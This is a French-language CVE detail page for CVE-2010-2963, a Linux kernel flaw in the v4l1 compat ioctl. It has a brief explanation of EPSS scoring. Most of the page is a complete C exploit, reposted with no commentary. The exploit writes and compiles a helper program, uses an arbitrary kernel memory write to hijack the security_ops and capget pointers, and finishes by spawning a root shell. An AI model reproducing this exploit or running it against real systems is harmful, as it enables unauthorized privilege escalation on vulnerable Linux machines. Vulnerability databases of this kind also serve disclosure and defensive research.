CVE-2010-2963 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

// source: https://www.securityfocus.com/bid/44242/info /* * CVE-2010-2963 * Arbitrary write memory write via v4l1 compat ioctl. * Kees Cook <[email protected]> * * greets to drosenberg, spender, taviso */ #define _GNU_SOURCE #include <stdio.h> #include <unistd.h> #include <stdlib.h> #include <fcntl.h> #include <sys/types.h> #include "exp_framework.h" #include <stdint.h> #include <string.h> #include <poll.h> #include <sys/ioctl.h> #include <sys/ipc.h> #include <sys/msg.h> #include <sys/types.h> #include <linux/videodev.h> #include <syscall.h> #include <sys/capability.h> struct cap_header_t { uint32_t version; int pid; }; #define DEVICE "/dev/video0" struct exploit_state *exp_state; char *desc = "Vyakarana: Linux v4l1 compat ioctl arbitrary memory write"; int requires_null_page = 0; int built = 0; int super_memcpy(unsigned long destination, void *source, int length) { struct video_code vc = { }; struct video_tuner tuner = { }; int dev; unsigned int code; char cmd[80]; if (!built) { FILE *source; char *sourcecode = "/*\n\ * CVE-2010-2963: Write kernel memory via v4l compat ioctl.\n\ * Oct 11, 2010 Kees Cook <[email protected]>\n\ *\n\ */\n\ #define _GNU_SOURCE\n\ #include <stdio.h>\n\ #include <stdlib.h>\n\ #include <stdint.h>\n\ #include <unistd.h>\n\ #include <sys/types.h>\n\ #include <sys/stat.h>\n\ #include <fcntl.h>\n\ #include <string.h>\n\ #include <sys/ioctl.h>\n\ #include <sys/mman.h>\n\ #include <assert.h>\n\ #include <malloc.h>\n\ #include <sys/types.h>\n\ #include <linux/videodev.h>\n\ #include <syscall.h>\n\ \n\ #define DEVICE \"/dev/video0\"\n\ \n\ struct video_code32 {\n\ char loadwhat[16];\n\ int datasize;\n\ int padding;\n\ uint64_t data;\n\ };\n\ \n\ int super_memcpy(uint64_t destination, void *source, int length)\n\ {\n\ struct video_code32 vc = { };\n\ struct video_tuner tuner = { };\n\ int dev;\n\ unsigned int code;\n\ \n\ if ( (dev=open(DEVICE, O_RDWR)) < 0) {\n\ perror(DEVICE);\n\ return 1;\n\ }\n\ \n\ vc.datasize = length;\n\ vc.data = (uint64_t)(uintptr_t)source;\n\ \n\ memset(&tuner, 0xBB, sizeof(tuner));\n\ \n\ // manual union, since a real union won't do ptrs for 64bit\n\ uint64_t *ptr = (uint64_t*)(&(tuner.name[20]));\n\ *ptr = destination;\n\ \n\ // beat memory into the stack...\n\ code = VIDIOCSTUNER;\n\ syscall(54, dev, code, &tuner);\n\ syscall(54, dev, code, &tuner);\n\ syscall(54, dev, code, &tuner);\n\ syscall(54, dev, code, &tuner);\n\ syscall(54, dev, code, &tuner);\n\ syscall(54, dev, code, &tuner);\n\ \n\ code = 0x4020761b; // VIDIOCSMICROCODE32 (why isn't this VIDIOCSMICROCODE?)\n\ syscall(54, dev, code, &vc);\n\ \n\ return 0;\n\ }\n\ \n\ int main(int argc, char *argv[])\n\ {\n\ uint64_t destination = strtoull(argv[1], NULL, 16);\n\ uint64_t value = strtoull(argv[2], NULL, 16);\n\ int length = atoi(argv[3]);\n\ if (length > sizeof(value))\n\ length = sizeof(value);\n\ return super_memcpy(destination, &value, length);\n\ }\n\ "; if (!(source = fopen("vyakarana.c","w"))) { fprintf(stderr, "cannot write source\n"); return 1; } fwrite(sourcecode, strlen(sourcecode), 1, source); fclose(source); if (system("gcc -Wall -m32 vyakarana.c -o vyakarana") != 0) { fprintf(stderr, "cannot build source\n"); return 1; } built = 1; } printf("Writing to %p (len %d): ", (void*)destination, length); for (dev=0; dev<length; dev++) { printf("0x%02x ", *((unsigned char*)source+dev)); } printf("\n"); sprintf(cmd, "./vyakarana %lx %lx 8", (uint64_t)(uintptr_t)destination, *(uint64_t*)source); return system(cmd); } int get_exploit_state_ptr(struct exploit_state *ptr) { exp_state = ptr; return 0; } unsigned long default_sec; unsigned long target; unsigned long restore; int prepare(unsigned char *buf) { unsigned long addr; if (sizeof(long)!=8) { printf("Not enough bits\n"); return 1; } printf("Reticulating splines...\n"); addr = exp_state->get_kernel_sym("security_ops"); default_sec = exp_state->get_kernel_sym("default_security_ops"); restore = exp_state->get_kernel_sym("cap_capget"); // reset security_ops super_memcpy(addr, &default_sec, sizeof(void*)); // aim capget to enlightenment payload target = default_sec + ((11 + sizeof(void*) -1) / sizeof(void*))*sizeof(void*) + (2 * sizeof(void*)); super_memcpy(target, &(exp_state->own_the_kernel), sizeof(void*)); return 0; } int trigger(void) { struct cap_header_t hdr; uint32_t data[3]; printf("Skipping school...\n"); hdr.version = _LINUX_CAPABILITY_VERSION_1; hdr.pid = 1; capget((cap_user_header_t)&hdr, (cap_user_data_t)data); return 1; } int post(void) { printf("Restoring grammar...\n"); // restore security op pointer super_memcpy(target, &restore, sizeof(void*)); return RUN_ROOTSHELL; }